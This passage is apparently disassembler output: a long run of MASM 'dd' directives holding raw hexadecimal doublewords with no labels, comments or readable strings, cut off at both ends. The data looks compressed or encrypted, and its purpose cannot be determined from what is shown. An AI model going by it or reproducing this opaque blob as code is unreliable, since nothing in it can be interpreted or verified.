8D13C1B0h, 40CB21D3h dd 38C0E1C8h, 0E80E72F2h, 0E8D91E13h, 6EF49F5h, 3CC218D9h dd 0F6805E4Dh, 0E110B100h, 4F7365CBh, 0F3FE1EA7h, 91B3D343h dd 7CF74DCh, 4CFAC57Fh, 0B53B0843h, 0EF2816A8h, 3CC02908h dd 30EEADC0h, 9B00F15Ch, 9D3E91BAh, 1847680Bh, 70F23444h dd 43657872h, 80400D31h, 0D67AFB66h, 82990942h, 80E80EE6h dd 0E20087CDh, 0D09AF732h, 33ACC57h, 69C5B5D4h, 9697374Ch dd 221658FAh, 0A002FC71h, 0FECE4B9Fh, 0E204DE90h, 862E84A9h dd 3752C92h, 8EB0C262h, 68B14583h, 8B60B4D3h, 5EF88DD2h dd 0A79A011Eh, 0B2F11A80h, 2A4F02C2h, 0B2909044h, 0DBC8C8CCh dd 9100956Bh, 206B82DCh, 7B40D52Ch, 2A167384h, 44E68FFCh dd 8EF564B0h, 82D0DD80h, 2CDC2CFCh, 0DC5C0Bh, 73110786h dd 24AFB05h, 6023CC2Fh, 0CC68BE07h, 8F6B2A30h, 0CFC20EE8h dd 0F600BBEDh, 104C6F37h, 3FA8E051h, 0B1BBF030h, 9B212D81h dd 4C080CDh, 296DA69h, 3D7A83BCh, 98627F1Dh, 0F69CC8D1h dd 0C16A9600h, 50EC7550h, 4ABB8C5Ah, 8BC89B57h, 300002A6h dd 0F0AC525Fh, 0A0B076D9h, 67B1CF08h, 503421F8h, 79D270EEh dd 1DC9CB6h, 0D0A05AD8h dd 6A3CF7DFh, 346D5401h, 1C05EF44h, 93280950h, 0F600DC5Ah dd 73F8160h, 1C24947h, 130A3E9Ch, 0E099969Eh, 28040CBCh dd 0AF693B7Eh, 0BCA82094h, 48C6AE8h, 9D146059h, 0E874EC8Dh dd 43018CDFh, 0F9D4A119h, 0F0480D17h, 1F6C007Eh, 0B2EEC101h dd 6D01E033h, 0C0C25D24h, 0D9E66B18h, 4C6582D0h, 0F8A5E544h dd 0C4B302h, 0D85E16FCh, 3FBB7F9h, 0F57118E6h, 0C900730Fh dd 0B9D15BBCh, 2D7CEF16h, 42094A8h, 1C8F99C2h, 16394D5Ch dd 0B8CC9EC1h, 1C0B82Ah, 9B54DCEAh, 6CF02710h, 0F263B198h dd 80F39401h, 0EE968019h, 4CE5D676h, 0AB8AFC44h, 57729FE0h dd 0D6045AFh, 858840A7h, 0B1A6B497h, 77242000h, 8CEA57EDh dd 0A0B701F5h, 0AD5363F7h, 0EB30F8EFh, 25502297h, 0C05409A1h dd 78B48465h, 0A8B48649h, 7A4001D4h, 8206326Ch, 90206BFAh dd 35D1BA5h, 493189E9h, 36D93B03h, 0E750200Dh, 0F0D84416h dd 0E2EDE880h, 3C679567h, 0E3609DC4h, 463FFF63h, 0F9E885A6h dd 0CCD1A0B9h, 91A70C10h, 68915497h, 71A96B80h, 526BD8B1h dd 53440250h, 0C4E4426Eh, 0E200A050h, 0E182772h, 8EBD34A0h dd 0AEF681D6h, 500C20E1h, 73BA59C5h, 0F67C0FFFh, 0EC08B912h dd 31080BC7h, 78F03BE8h, 74D96B09h, 0DB1C7170h, 0F3D060CCh dd 1C02EA17h, 49EDB5F1h, 247EAC24h, 1648E627h, 0C58B4A6Ah dd 0B804ED5Ch, 5C47024Ah, 0D21C44EFh, 50398902h, 0CFA65AB0h dd 0C0E48880h, 18E96FF2h, 0FC91575Eh, 746A6C1Bh, 7C09BA2Ch dd 0C2848CD6h, 3E190067h, 0A9EBCA68h, 8D254A6Bh, 154D99Dh dd 32AD0B87h, 2733C81Ah, 0B95F5C00h, 676421FAh, 5B102CDDh dd 3B568268h, 0D07ED205h, 0F94393BDh, 5E0410A0h, 8088DB88h dd 0F96F98F0h, 2E600486h, 0AB0C1B9Ch, 0CFB9C12h, 8460B1EAh dd 12C14227h, 0DEE8FCC8h, 86025FE2h, 94A53E49h, 36B0A0F2h dd 148155h, 0FE5B23C8h, 0BE2E3E07h, 0C047C0B4h, 6402FF40h dd 0A2790435h, 0E07C24D1h, 747C72D0h, 3C6D29C2h, 74506A2Ch dd 4E6B02A0h, 6CD4E543h, 0A3CE9C02h, 0EC098A7h, 49CB00DDh dd 0CDB989E1h, 0E8001EDBh, 0ED603E01h, 5EE6307h, 7A82BB96h dd 878402A8h, 0C879D7CAh, 0EF18AC79h, 0A08D315Fh, 6AA05442h dd 59847BD0h, 0B81859h, 5627641Bh, 0DB94E34h, 0C29A0A02h dd 54479C9Eh, 0DF46743Ch, 0D484B900h, 0E51E9E03h, 36781201h dd 7072A1CCh, 10EFBC48h, 2DF1384Ch, 91881D88h, 0E77181A4h dd 0DFC3B0Bh, 5BC37C2Dh, 82CC8098h, 17BD8797h, 84519124h dd 0CC935A98h, 7972B03Ah, 21889C74h, 185D7128h, 0C9910053h dd 99E593E3h, 5C1FFEC1h, 0D825E0D0h, 71A0A8F4h, 0E4209778h dd 1B874184h, 4795A092h, 609D644Ch, 0B33E1C3h, 3FE3EACCh dd 73442002h, 0F71E980Ah, 1072E80Dh, 0CE14842Bh, 0C0548800h dd 9458CB78h, 0F04ED49h, 0A14AF5F0h, 3BF88BB0h, 3EF45D4h dd 760AF362h, 290BEA94h, 81E0574Ch, 0E1749CB4h, 3B1886C0h dd 0B3856F7Ch, 0A3EB3B9Fh, 3052E274h, 4C13ED30h, 58F4CDB0h dd 5C3C244Dh, 3D23803Ch, 0AC312283h, 70C040F1h, 3888B8E8h dd 3DA02E9Ah, 2C0202Bh, 0FC7119B7h, 375FBC36h, 404D9C10h dd 1A3AF1E2h, 0D0075F9Fh, 988D426Bh, 9CED3145h, 51CB7448h dd 45B83400h, 0CB021218h, 3A47EAB4h, 452CD297h, 0B8C42D50h dd 747235h, 0D2CDBC69h, 0EC1377FEh, 3DF17F02h, 781FC030h dd 1E589E74h, 0B2F6C071h, 0F8F3FFC2h, 18108495h, 587BBEh dd 5FC43F4Ch, 3AA1CE82h, 0C81F5653h, 0C0E52DA7h, 0A07180A9h dd 79781B18h, 7180FB5Ch, 41696C30h, 0D44086h, 890BB15Ah dd 2B1E5D9Dh, 0E610631h, 5B000CC9h, 0C3F8FA8Bh, 5C3E56B7h dd 0C9001D46h, 3BDB7BDEh, 4F03C81Eh, 8D0F6AFCh, 8B270102h dd 31BD89F0h, 3D70860Ah, 3B1A0834h, 2760860Fh, 29B58B57h dd 5F243061h, 0DDC22FE9h, 19D16971h, 0CE001818h, 2E6FCF33h dd 5B65BD8Bh, 1E43BF27h, 3D324D9Dh, 0D82DC311h, 800D35D7h dd 85C77B16h, 4EC717C9h, 7F409359h, 69DDBD0Bh, 8E031402h dd 7A5B5AE9h, 1D16BFAh, 0FC1FE676h, 9B20B70Fh, 71C71D81h dd 9BD0675h, 0D0386629h, 30AF5E07h, 0A5B5318Bh, 0FF201F67h dd 8B0F16CAh, 11B51FFBh, 0F262E2BEh, 8E6A301Bh, 12D81500h dd 0E93C6663h, 9421C005h, 2EF86C4Dh, 4595FF0Bh, 7B6D7D29h dd 0B69891E0h, 229C1634h, 0FFD0FB19h, 38A8AF51h, 5C00DAFAh dd 0FD29EA7h, 0ED1C8BEEh, 1FCA9A46h, 0A508FD7Dh, 905E0A10h dd 164674C0h, 9A86F403h, 170009E8h, 4AAA9B84h, 32F2338h dd 85894B5Dh, 69281EF9h, 3129FAF5h, 1B7138B4h, 0B41D5A18h dd 175F3E53h, 813A81D2h, 0F9001D23h, 0BEF2FBE9h, 0B30B0AA3h dd 74F5CAC8h, 18011546h, 8D9529FEh, 89E29D35h, 774BA8A4h dd 0C960404Dh, 86AE916h, 5398529h, 0B880F06h, 0E7810F27h dd 590B634Fh, 6B462901h, 0FDEED435h, 6621FA00h, 5EBFF28Bh dd 0EAF07768h, 10DE14A8h, 1CB8486Fh, 0BDDD3A8Ch, 885F6A8Eh dd 0E9ABC640h, 0FF71F7D3h, 1744BFA7h, 0B5917D60h, 0B60DF02h dd 682BC59Dh, 0C3C18BBDh, 4EBFBBEh, 0B7DB3350h, 0BD0FF64Dh dd 2B14E800h, 0C185158Dh, 0BF09A62Fh, 440190FFh, 8C50A188h dd 14B98A0Ah, 6CF96B8Bh, 63CD4D7Dh, 13E05563h, 4707F391h dd 0ECDF8182h, 56AD5B77h, 0A0F72336h, 7BA8E6F9h, 3B19BD76h dd 0F7C61FB1h, 13ECD882h, 5997062Fh, 0CE821611h, 6613FCDh dd 87001499h, 0C0833582h, 78B09305h, 0FE00451Ah, 406D8C0Bh dd 0A7BABD1h, 16EDF781h, 0EE2916D2h, 1081A894h, 9000202Dh dd 460EC9BEh, 0FF503088h, 2EE18D84h, 0E96EA789h, 30E8AC01h dd 0F3C5EEFh, 6689058Eh, 26AB929Fh, 34E108C5h, 0F00CAC20h dd 2908E960h, 0D2DA00DCh, 6CA49333h, 8D016101h, 2EA6AA9Dh dd 71600906h, 0D3FF8015h, 350DE1E5h, 0C6BD6E77h, 0F51AFFACh dd 0D7813CE9h, 0F6158DFBh, 0F02556F7h, 1C1412Eh, 3EE04623h dd 41C89BB2h, 63648DF8h, 4686C299h, 0DE810001h, 2F02AD34h dd 0E59D8B4Dh, 870F032Ah, 54B0679Eh, 818032F8h, 0A9FEB5E3h dd 535FF2Dh, 68025681h, 8C4E71Ch, 0C7502E24h, 1F99081Fh dd 0EADB2C3Bh, 833F9411h, 90126E14h, 2484BC63h, 22BA1B58h dd 23BF0505h, 0AF1FD0EBh, 9060D2E4h, 0E012043h, 171DD8E5h dd 0B5094B99h, 852AB21h, 0DB373168h, 80DE370Bh, 3E300A3Ah dd 8F020E82h, 99B50B50h, 0E993C833h, 0A8DEB73Ah, 31C4676h dd 0EBD39078h, 0C963902Ah, 49E0C548h, 8636720h, 6830F8Ah dd 0C1EF8D14h, 1D05BD29h, 1520C8Eh, 3E8795EAh, 23815F83h dd 3B97FEFFh, 2CC668D5h, 847D006Ah, 2D967712h, 0C50049D9h dd 5632F19Dh, 2EE4A40Bh, 60586346h, 9BC9940Ch, 0D86AB900h dd 534C2201h, 2837216h, 280A42F3h, 5C8607Dh, 0DCB75E61h dd 628462A9h, 2876382h, 405F5322h, 0BD3569EDh, 4674A37Eh dd 24153C16h, 0B10802ADh, 3132610h, 50193DBFh, 23FF3AB5h dd 5CAB0016h, 11B53360h, 5BB2C4Dh, 0F74FCE81h, 3A04FE08h dd 1D00D0D2h, 5EDC9724h, 8AB2B0C2h, 70E6F817h, 33313804h dd 171E403h, 6664C5C2h, 37D8B625h, 0F51F0061h, 0D67D9C65h dd 0BED73300h, 36DB4AEFh, 81F791BAh, 119D89C3h, 0C1708501h dd 0E6BE04E8h, 3FAB007h, 0F8710225h, 0E2F766FDh, 14097AE1h dd 1003DC82h, 56B7F08Bh, 1E5780E1h, 7FE56F4Ch, 0A6108E02h dd 0C0D82B7Ah, 8826D56Ah dd 482CD781h, 569DF7B0h, 241C89C4h, 6E1E0C1h, 84FCC915h dd 4DE9F632h, 7859D4A7h, 1B189CACh, 4D9262DCh, 0C781802Bh dd 947AD20Ah, 5F2FE908h, 0F58777B5h, 8030A03Bh, 0C298BF70h dd 1759B656h, 8279EAC9h, 20B060B9h, 0F5194261h, 2B58DFDBh dd 0E9B40728h, 44671CE8h, 6AC400Fh, 0C3F7FDCh, 69B08983h dd 137B01E8h, 4AF8FA24h, 19D1BD29h, 1C043318h, 159938C0h dd 353D43C1h, 30613C01h, 0F592A757h, 9678B39Bh, 0E42FB856h dd 415F8132h, 23247598h, 3F75539Dh, 0D411331h, 16A68B94h dd 529DE4E0h, 0BF80EB91h, 5C70C773h, 9F5E4977h, 19BC745Ch dd 7DB0028Ch, 49C5BD02h, 7BF59F4Ah, 0E0A458B3h, 7E90AC73h dd 3824F709h, 4DA60965h, 0F93EC0D6h, 281C9608h, 0F8B9179h dd 0E7BFB08Ch, 0A7874C68h, 16388613h, 111F0811h, 1817634h dd 846301B4h, 8301AE2h, 0B3EA037Dh, 51E3ABF9h, 0A78D6C03h dd 0DE85Eh, 41E1F2Bh, 0D0372B4Bh, 17688302h, 0DD0694B3h dd 0C300F2D2h, 0D326B9DFh, 9D689A1h, 5E2231E7h, 0DD91A02h dd 9AD7B905h, 0C09A4D09h, 5D08C6AAh, 6B097E7Ch, 8ED9D1FEh dd 8E60AE76h, 5069C0B9h, 2F615EFCh, 375FC183h, 6E2C009Eh dd 76BCF434h, 3BF78B0Bh, 0FFF485D9h, 0E9CECD30h, 0FDB3B07Bh dd 22F0DE76h, 0E201495Ch, 67172CFAh, 833CD48Bh, 0AFA0BC8Fh dd 0C1F6ACB3h, 8845E2B2h, 3C94DA32h, 8C1DB8h, 17F1680Dh dd 4C5F0ED2h, 74BDFE72h, 0EC1D80B5h, 40E43EBAh, 32B6EE00h dd 0D6419D55h, 0C8F8B4EFh, 15465CAEh, 29511F01h, 2D1701B5h dd 0DA493D6Eh, 8A11EE28h, 29892182h, 293DE902h, 3391AB82h dd 0F99CBD2h, 0E6181CD1h, 0A437AF00h, 2D6A7C10h, 810F38A5h dd 9486C149h, 612DA6C2h, 0C3FA1A2Ch, 521EE279h, 734D4918h dd 1B93B338h, 48EA6F30h, 10650FA5h, 6B00B277h, 0EE81C28Bh dd 32BDF037h, 0FCEE612Fh, 70E8DFD1h, 0E1D99B27h, 19A71089h dd 0C2004493h, 8EAF87A7h, 2CAABAC0h, 0C9F15EF8h, 0E5C087CDh dd 6E86986h, 4FB4969Ch, 0F25CC628h, 569AA413h, 0A094A5C3h dd 9A1E7D90h, 72B96002h, 607558D1h, 96E4F05Bh, 21990846h dd 1E1C9012h, 77AFF66Eh, 648EDFB5h, 1AD5A57Eh, 4C7D9DB0h dd 0F1C08DB2h, 6F4817B7h, 9241C100h, 518C821h, 0FB4A6ECh dd 0B9F04862h, 56E725C2h, 5FF12A60h, 2FB97BE3h, 0F17A0ACh dd 9ABAFBB7h, 51CEC56Dh, 29E19204h, 5C752B4h, 6328F304h dd 996D03E9h, 19883255h, 6002183Dh, 78CACCC1h, 44B547BAh dd 4CD96018h, 5D2E030h, 8A7857BEh, 0E3F48C1Bh, 1EF6AD0Bh dd 637F60DDh, 0CEF6B7D4h, 0BA900B8h, 6950E671h, 962600C2h dd 0D05D324Eh, 0F7FA2A29h, 19208DB0h, 6552480Bh, 2DF33B50h dd 0C509ECE9h, 0C4C7444Dh, 294D216h, 8531CA45h, 51F72C91h dd 2FA283AEh, 6C85327Ah, 214DE901h, 91CA02F0h, 551C7BB7h dd 0E86CC7E0h, 0BDDAD600h, 966A2BAh, 0B36F0051h, 50069346h dd 557BB26Eh, 7C413F5Ch, 0F20D8900h, 82585472h, 0AD5F006Dh dd 0A092C4DCh, 0EAA08CA4h, 0B7000AE1h, 21D99A3h, 71876442h dd 77DD7F38h, 0BEDA0247h, 4C9B6211h, 0C1DF4F42h, 9ACCD041h dd 4A8300ABh, 0F66DB043h, 0A0089D6h, 879B7056h, 9E7706h dd 0A3B30473h, 80DDCAF1h, 232D6500h, 1FBB3412h, 917500EEh dd 0B8325EEDh, 9400EBADh, 0F6C88ECDh, 7D4C535Ah, 9899EC14h dd 24E7E066h, 3EC4E72h, 812B393Ch, 0F268350Eh, 0DB77A2D0h dd 294DC0F0h, 0E8DC0185h, 8894232Ch, 72B80E6h, 938F6C50h dd 94DEC1Ah, 0BDA1FC6Bh, 5DBC83FDh, 0E52900CCh, 303A685Ch dd 7D039747h, 7BF503AEh, 0E1E02A1h, 6B0C9910h, 0CED9A5h dd 3A3F22A5h, 0C0609C2Eh, 0CD69F126h, 765A1BB1h, 62C015EAh dd 0CC763127h, 0C159B200h, 5F3846A5h, 0C4C500FFh, 0D4B3675Bh dd 7101B882h, 96DA1C56h, 0D32DC07Dh, 2F1A8900h, 6FDC1DF9h dd 0D6F43500h, 1EADA81h, 0A1A700BAh, 587CF74Ah, 28002C73h dd 0F266B516h, 0ACFFCCh, 7CFD3B7h, 0D0BFC736h, 8EC05C26h dd 0B4E6400h, 9EF935h, 900480A6h, 50440271h, 1271E00h dd 12AB94AAh, 0FF96A08Ch, 8A61005Bh, 64DF2037h, 0C7012440h dd 0A0BAD974h, 9A8045A6h, 2F33774Bh, 7E009915h, 0B40BE0C6h dd 24D9EA0h, 0AAD8AC55h, 0B18353D0h, 0DBD1630Eh, 0B6C200BEh dd 490DC034h, 0B574EAD1h, 837CE02Ah, 0D981E200h, 451D78E7h dd 60A7EEC0h, 9C6F5A0Bh, 25001B41h, 389DCFBAh, 9D77475h dd 84891C8Dh, 53B1F00h, 110098A6h, 0B89E14E8h, 2F1945h dd 0E494493h, 0E403FF2Eh, 63487207h, 0D470251Ch, 9FA1B9h dd 28FB324Ch, 6CBF89D5h, 754B1101h, 2A1E4796h, 3A253CCh dd 9FAD38DEh, 0C20369EDh, 880FFE60h, 32EC96EEh, 30C93C96h dd 0A0B90420h, 644F099Ch, 0C920FBCFh, 3410534Eh, 424BD71Fh dd 84F5F8D4h, 29913ECBh, 24E8AE17h, 0FCF10D69h, 5195ED0h dd 7F7302BCh, 2240D9F3h, 378801ABh, 0E5DB0081h, 0ACB9BB06h dd 37C7EE80h, 0F420FF63h, 53F9DF99h, 5B0E9730h, 65600106h dd 8F5CF886h, 0BB00A472h, 7B4FF634h, 1F2137h, 0D51A6AE3h dd 0D9277E8Ah, 2E03C675h, 0CC84DB30h, 97D1B1EAh, 39008A22h dd 0AA836D3Fh, 9004D0D6h, 5B1D7AB6h, 1153B880h, 85D43E37h dd 0C036EC9Eh, 0B3CE3F19h, 1B0097B1h, 5E8810Ch, 1C372AAh dd 630F8A03h, 0FD776BD6h, 0C7ED8078h, 85D21F6Fh, 0D89B07F6h dd 0F7FADA2Fh, 1DB9C09Ch, 790CB0CEh, 0AC5D5257h, 831E032Dh dd 7C02E9DBh, 3E41D8D8h, 80AD6D38h, 0ED67BA11h, 0E2B0CFCBh dd 16350196h, 0C3D1E67Bh, 5C2B8929h, 0F68000C2h, 3D597Fh dd 95B3B5CCh, 8A7EE736h, 0A2C2400h, 5A5D098Eh, 177156Ch dd 0CD02CC52h, 54D6E271h, 3129C7A0h, 0FBE447F8h, 37606C76h dd 90A07784h, 0BD32006Eh, 0C34EBFDBh, 0E11F5BB5h, 0F00F14EBh dd 113B0C1Bh, 0BFDA1265h, 0DDCA609Ah, 0D618016Eh, 942640CAh dd 29E50C75h, 978BDC3Ah, 0C4B0E800h, 2B5962BEh, 300A004Ch dd 1271DDF9h, 9FFE794Fh, 95C22F02h, 80DB2A87h, 0AEBA499Fh dd 0EC3B501Ch, 20E90071h, 430EDD7Dh, 2A0C0C44h, 0CA70B9C1h dd 3FE11FC2h, 0F0634BBBh, 5E2510Eh, 0D6A2C823h, 858680C4h dd 85884CC1h, 0DE634BD8h, 0C8152E10h, 0B51EFB7Dh, 950030F0h dd 0AEB3EE79h, 60119BA9h, 0FA6428C0h, 0ED038D5Eh, 77C7463Ch dd 61AEB27Ah, 0EEF81567h, 0EE40072h, 4ACE373h, 0D0057A2Eh dd 93B5AAA5h, 0D85D2893h, 2A7688h, 4F6E6C1Eh, 0E79E167h dd 1468443Ch, 546BD5EBh, 0C800EC12h, 0B5B89CE3h, 0C0DD05A7h dd 4AE67834h, 8E1DB761h, 5F40F4BAh, 7054C9C3h, 0F6400D4h dd 9982C5C0h, 9488E18Bh, 0BF6E018Ah, 6A760590h, 0B51980C0h dd 0EC6C64A5h, 797E1DF9h, 993D0961h, 82C67730h, 0C5000B76h dd 488ADAE4h, 0A6F5D6h, 0F30C88AEh, 58745771h, 0E0363301h dd 0F7CB6420h, 0FC00B022h, 0A9435144h, 0DCEA9016h, 0AE039100h dd 391314FFh, 160AB09Dh, 68E8A7h, 0D52CDDCAh, 517BBA92h dd 0E4CABE07h, 8CEA4A6Ch, 0AAC89345h, 7A5E1687h, 80D11E81h dd 49A284BCh, 5B026DF2h, 17312D70h, 0CF6961B4h, 0B9D060h dd 9ED92487h, 4A0E6DBEh, 48977400h, 8D83315h, 5E540956h dd 775AC681h, 0BEE833Bh, 0F243487h, 0D64716E5h, 69F3C89h dd 40111C27h, 1243EE0Ch, 1C4BB903h, 0CFC0062Fh, 0EC518159h dd 0C524E52Dh, 0AFA7E383h dd 0BF2057CEh, 23AB79D8h, 4D00294Bh, 8418F5Fh, 0F06D081h dd 505E8B30h, 554E089h, 0C483C056h, 51A28B0Ch, 81E1890Ah dd 40BB13C1h, 5BE9800Ch, 0FFFC5E00h, 75DD9E18h, 0BCF9074Ah dd 0D28985h, 2E724824h, 20DFB818h, 1CC503CAh, 0C07DE0FFh dd 13836F41h, 47007A0Ch, 123AEFA5h, 0E2AF2BCh, 19186748h dd 4D981100h, 0FC01C3FAh, 0D225C27Ch, 7830D966h, 94B00040h dd 50192A58h, 23000DAFh, 1E0189C7h, 17B06DCh, 7EC73A0h dd 306BA7BEh, 0B100F28Fh, 0E6ADF14Ch, 0E28E3Fh, 1132389Ah dd 129D5CC1h, 8B30931Dh, 8DBD02F9h, 5C062B28h, 2A456961h dd 726017E4h, 69025D55h, 0CC0916BEh, 0D1DBF729h, 0D76C1759h dd 35572280h, 0ED03ABF3h, 898E9666h, 19CBC0D5h, 93189704h dd 3D5BB531h, 0BF908700h, 0FD99779h, 5E525077h, 20820F25h dd 0EF816670h, 7A0BEFAh, 0CE784BE7h, 3152825Ch, 231A5E70h dd 5CE9EB44h, 9D03C6B8h, 3A88D474h, 32DDB101h, 4155AC04h dd 0BB11E5BFh, 50FA8BB3h, 0C9C8DD57h, 712E531Dh, 9507B7BEh dd 0D1759CB9h, 374CE2FBh, 0FE86DA5Fh, 448AFAA0h, 0C70CBE05h dd 1A472330h, 40809C60h, 2770186Dh, 7F002575h, 0C2808446h dd 4BA5BA9h, 7AADA40Ch, 0CB31B861h, 0E748DD23h, 6D70B58Bh dd 6F2B5682h, 0D3FFF982h, 1DC5A54h, 1B373EBh, 426FD8Dh dd 0E9C24BACh, 2E5C074Fh, 87232458h, 0E46015C4h, 0B51A89D3h dd 56682B01h, 10147928h, 709D8BF5h, 0CF3D9575h, 6D743400h dd 5BB52B52h, 5E1A09A9h, 0C2A53D71h, 9C1556F7h, 1A9D2F7Ah dd 6C801C91h, 0F93C4667h, 0E072E0Bh, 0C99660BAh, 880F18B1h dd 0BD892F06h, 4E185124h, 21CF12BBh, 13224AE2h, 8D095204h dd 0EBF9056Dh, 30B4D22h, 4A0B79BDh, 0D3200DBEh, 0E28E469Fh dd 3E40339Ch, 24B64611h, 0BBC0655Ah, 22E9078Dh, 0C2250921h dd 4F487F2Bh, 727F0D4Dh, 0D6DA2800h, 53200BF2h, 20AB90EAh dd 49B00929h, 8976D986h, 7412FD5Bh, 0AE4305B3h, 6301AA2h dd 13180616h, 76959BE5h, 95274D20h, 0D512F60Ch, 222A0141h dd 0A42A2AFCh, 2D0D8D08h, 8BE2098h, 5267F500h, 0F88B6650h dd 2958B089h, 283810Fh, 1AA18509h, 0D1B5CE48h, 65E90E40h dd 2B0C5C5h, 16D595EAh, 6670E600h, 79FA09BEh, 0CCB771E4h dd 0BF667B81h, 742A3993h, 74DBC37h, 0C38BF68Ch, 0FDEADF60h dd 80034A47h, 0B70F5712h, 515FF302h, 0A5F5B50Bh, 0FEF15EC3h dd 0AC4BAD7Eh, 0B4500CDBh, 0F680B7D1h, 2BF27709h, 70BDDBD8h dd 0F312E7F8h, 0B4B150DDh, 9EC2F05Bh, 0DBD979D1h, 1DCCE4A5h dd 0C2C1043Ch, 0ABE523CEh, 1C59C1DBh, 0D5000918h, 0D451F573h dd 98C07F17h, 24B92068h, 454B06Ah, 12019908h, 0EE05175Fh dd 8DFB4590h, 0D9A50991h, 1105B051h, 0A978585h, 40EFE812h dd 0F8466B05h, 0D6BF7872h, 8F3C40A2h, 5C037BD9h, 65A1D790h dd 30828080h, 4D9A02A6h, 5E615A22h, 76908056h, 2F6BD6h dd 0AC18297Eh, 925FF952h, 0DB79541h, 73577000h, 48ACDDFFh dd 0CF091E13h, 681A4C8Dh, 1865A302h, 0DD5879C4h, 37C3897Fh dd 5DC939Eh, 1C09C108h, 0F62F522Ah, 301CA242h, 750191BDh dd 88BF6076h, 0A825123Fh, 0FEB8AE6Dh, 0A8713C38h, 0E920806Ch dd 0BEA9A02Eh, 0C68F0BE8h, 74CD5876h, 11C09FC4h, 4C61FECDh dd 4770712h, 0D040D5BEh, 229EAD4Eh, 65BB9865h, 0EA604120h dd 9EAA4h, 4FC1B5BBh, 84F299FFh, 0F0D2D900h, 6EB4E723h dd 0BDD2CECh, 25219047h, 0B3736461h, 327B7813h, 9D31FC09h dd 9531D83Dh, 7C5B6609h, 9E51170h, 9D6ACCE1h, 35D1C418h dd 0BCB4CD02h, 565E80B6h, 8FDD9071h, 3DB2328Ch, 0F8D2AB34h dd 8C18E8FAh, 16456648h, 1F04D987h, 5014118Dh, 29C0F13Ah dd 2C759516h, 26214F29h, 5BD1492Eh, 7A805AB7h, 41E12049h dd 0B8860132h, 0A5BD0BA1h, 0C324071Ah, 36B874A9h, 9940E500h dd 0DDEA9F4Dh, 81600069h, 0AA09B9D2h, 0B3956179h, 9357DC68h dd 113C274Ch, 0FFC026FCh, 0C1E20BDEh, 4185337Eh, 0D649BD12h dd 0D100326Bh, 2E05A293h, 522F449Bh, 6825D58Bh, 0ED90C45Fh dd 0EFBD047Bh, 0F8E91835h, 0D4386CB8h, 0D605FFC0h, 4CF34483h dd 79B28313h, 179E7B7Ch, 0BBB2974Ah, 4AFB7CCh, 3A18F77Dh dd 0DFA6C0E4h, 95A0BF71h, 54A398Dh, 4A85AD68h, 91402112h dd 6E296F08h, 9D2715F0h, 76D476BAh, 7D4300DCh, 0AD9490A3h dd 0C0B34591h, 1E946A37h, 547B9009h, 0B6D0670h, 820F36E2h dd 3704E7Bh, 0CDB54ED5h, 0A25A2384h, 20B73114h, 35402D15h dd 800F2750h, 616033E8h, 885FA0B0h, 73E27552h, 1DAB0302h dd 0A2600EF6h, 9D970A0Dh, 801C916Ah, 0C6D135CDh, 7B060925h dd 0FBA05963h, 3854BF66h, 2169E6C4h, 33CEBE00h, 0F2757D6h dd 349CC68Fh, 0C82A50FAh, 0E1EC2997h, 5E0C1C60h, 0E6F9BF0Fh dd 0D33D78Ch, 2057A1ACh, 1140D563h, 4EF7781h, 60145CD8h dd 0DF7BC68Bh, 611844DFh, 821B353Ah, 7111D2F5h, 5C280023h dd 0F7B41ECFh, 6C0F7B49h, 0AE078Eh, 0B1E9CD47h, 4BFF71F8h dd 80FFDB60h, 2A6553B1h, 7CD70085h, 8B9C2863h, 5096B9F7h dd 6BAB5F39h, 42AD0152h, 1F598D21h, 14EC3228h, 0F62168Ch dd 3898B38Dh, 5C954179h, 0FF5EA3A1h, 0B8286D6Bh, 0B8D853F2h dd 9AC57400h, 5E68C42Ah, 7DA2B62Fh, 44F3B019h, 0B66912DEh dd 0D3D1E07Eh, 978F13DAh, 4EB2A4E8h, 0E70067F8h, 563DF788h dd 322732Ch, 0B849C16h, 0E904CD9Dh, 1E1835Fh, 0FF325FC2h dd 15D9D551h, 4C092318h, 21199D29h, 51858B57h, 26830F11h dd 0D3D83F83h, 0A3E829B6h, 4EDB0038h, 3279BB1Dh, 10D000EEh dd 0B9A621C8h, 0B00995CFh, 9A53405h, 5E0388BDh, 1CFC3090h dd 0D8E008Ch, 0B23363B5h, 0E512847Eh, 12308A0Fh, 801CA985h dd 5E9C6061h, 45E28967h, 0E9700A24h, 0DF40D94Dh, 90BC8E33h dd 0B6D1644h, 0F033F62Bh, 1165647h, 0FFBCCBA8h, 937A9CECh dd 853F156h, 58E29FE6h, 918DE360h, 544FA8BFh, 0C0D74DA7h dd 0F28B28A3h, 0CC84E4A6h, 53E6C0ADh, 0F6E7D694h, 22BBF0C8h dd 905392CEh, 57592AEEh, 7DFC8650h, 0A22F59Dh, 0DDB51278h dd 23046F1Ah, 2D28001Ch, 0F12C3CEBh, 254EB317h, 18DDC104h dd 945FE410h, 381AE8E9h, 0EA1669DAh, 406D5E0Ch, 3CD04A32h dd 0D85C4300h, 0AED767B3h, 88AC02C4h, 169C6882h, 25289988h dd 9BC162EDh, 924C76B2h, 3A60891Eh, 0EF4BF820h, 0F7210F1Bh dd 0CCA06DACh, 4F78755Bh, 0FA9C5FB0h, 615E5641h, 6856D5C7h dd 38BADB30h, 30C700B3h, 0B160A8B5h, 0EA0063B6h, 8E22FBB9h dd 1521545Dh, 485BF0B0h, 6F3F1F35h, 0F9D80E08h, 5FF35492h dd 39E56BAEh, 90782579h, 539088Fh, 9DB3CE98h, 0EAE2015Fh dd 235E832Ch, 0E9F5281Dh, 66FAA09Dh, 9899E8BEh, 1AC7627Ch dd 0E54F2AE5h, 0FC19AC62h, 852309F4h, 827F5055h, 4D390BBAh dd 45F1C3D0h, 0AF2DC09Fh, 0FE483E74h, 5569E79Dh, 72DA8870h dd 62214FCAh, 9D001C5h, 38122C41h, 0C260270Eh, 8D4899Dh dd 1B1D9584h, 0E63F610Eh, 194674B1h, 0ED87D500h, 812CF88Ah dd 0C0D963BDh, 9685C773h, 743CEA0Dh, 4C071746h, 0F0A9FC64h dd 6E5F5CC2h, 93A761F2h, 15601D44h, 0B607A87Bh, 9813DD84h dd 7EBE710h, 0E99D2F61h, 110C1FFDh, 9C5A8519h, 90FCC0EAh dd 0B149BD09h, 6BAB5FDBh, 67007C7Dh, 2AC73D6Eh, 0C18BEFh dd 1C8F4FEBh, 8ABFA25h dd 0DAC6A107h, 0D4A1A4ACh, 0E4C55CD2h, 1D34CEC0h, 431BF531h dd 0D129B327h, 8FDD5BC9h, 9F17E64Ch, 6787DF9Eh, 10AA6DBh dd 0B487007Ch, 202352DDh, 11E19ED9h, 0F87543E9h, 8A040D60h dd 0F58B1E60h, 0E4EAF6BDh, 